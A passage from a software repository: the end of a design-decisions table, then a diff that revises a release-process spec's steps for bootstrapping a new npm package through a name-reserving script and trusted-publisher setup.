| 41 | `findFreePort` is a standalone VM global using `node:net` | Port allocation is platform I/O; the function uses Effection's `once` + `race` for event handling and `try/finally` for guaranteed cleanup; exposed in the eval sandbox alongside other Effection globals | | 42 | `findFreePort` result journaled with its eval block | The port number is a scalar export; no separate journal-entry type is needed | diff --git a/specs/release-process-spec.md b/specs/release-process-spec.md index af3b543c..bfeaeabe 100644 --- a/specs/release-process-spec.md +++ b/specs/release-process-spec.md @@ -207,31 +207,51 @@ tokens minted outside the gated environment. ## 6. Adding a new package -npm exposes trusted-publisher settings only on a package that already exists, -and the workflows carry no npm token, so bootstrap a new package by hand once: +The workflows carry no npm token, so a new package is bootstrapped by hand +once: 1. Create its directory under `packages/` with a `deno.json` (name under `@executablemd`) and a `package.json` declaring its dependencies (`workspace:*` for internal siblings). The root `deno.json` covers it through the `packages/*` workspace glob, so membership needs no edit. Run `deno task gen:publish-workflow` and commit the regenerated orchestrator. -2. Publish its first version by hand as a logged-in `@executablemd` scope - owner: +2. Run `scripts/bootstrap-npm-package.md`, which reserves the name and + configures trusted publishing in one pass: ```sh - deno run -A scripts/build-npm.ts - ( cd /npm && npm publish --access public ) + deno task xmd run scripts/bootstrap-npm-package.md --props-package packages/ ``` - This covers a package with no `workspace:*` dependencies. A package that - declares them cannot build its first artifact until those sibling versions - are on npm, because the build resolves siblings from the registry. That - bootstrap is tracked in #152 rather than specified here. -3. Configure its trusted publisher with the table in §4. -4. Create the package on jsr.io under the `@executablemd` scope and link it to + It previews first — npm version guard, manifest guards, registry state, and + `npm pack --dry-run` — then asks for a one-time code and publishes an empty + `0.0.0-bootstrap.0` artifact under the `bootstrap` dist-tag before applying + the §4 trusted-publisher configuration. It never publishes `latest`. A + failed preview asks for no code and writes nothing; re-running an + already-bootstrapped package skips the publish and re-applies the trust + configuration. Run it **without** `--journal` or `--verbose`: the code is + interpolated into the publish command, which the durable entry records. +3. Create the package on jsr.io under the `@executablemd` scope and link it to this repository, **before** the first tagged release that includes it. `deno publish` fails for a package that does not exist on JSR, and the JSR job publishes the workspace as a unit — so one uncreated package fails the release for every package. +**What the reservation is for.** It is not a precondition of trusted +publishing: npm 11.17's `npm trust github` was accepted for +`@executablemd/web` on 2026-08-02 while the registry still returned E404 for +that name. What it does do is hold the name under the `@executablemd` scope and +put a registry record in place ahead of the first tagged release, so the release +publishes a version rather than a package. + +What pre-existence trust is **not yet known** to do is govern that first +publish. Acceptance was observed; enforcement against a real first publish has +not been. Until a bootstrap has been carried through to a tagged release, treat +the reservation as load-bearing. + +The reservation itself is unaffected by `workspace:*` dependencies — the +artifact it publishes is empty and declares none, so it needs no sibling on the +registry first. Building a package's **real** first artifact still resolves +siblings from the registry, and that remains #152 rather than something this +step covers. + ## 7. Recovery Re-run failed jobs on the tag's own workflow run. Publishing skips an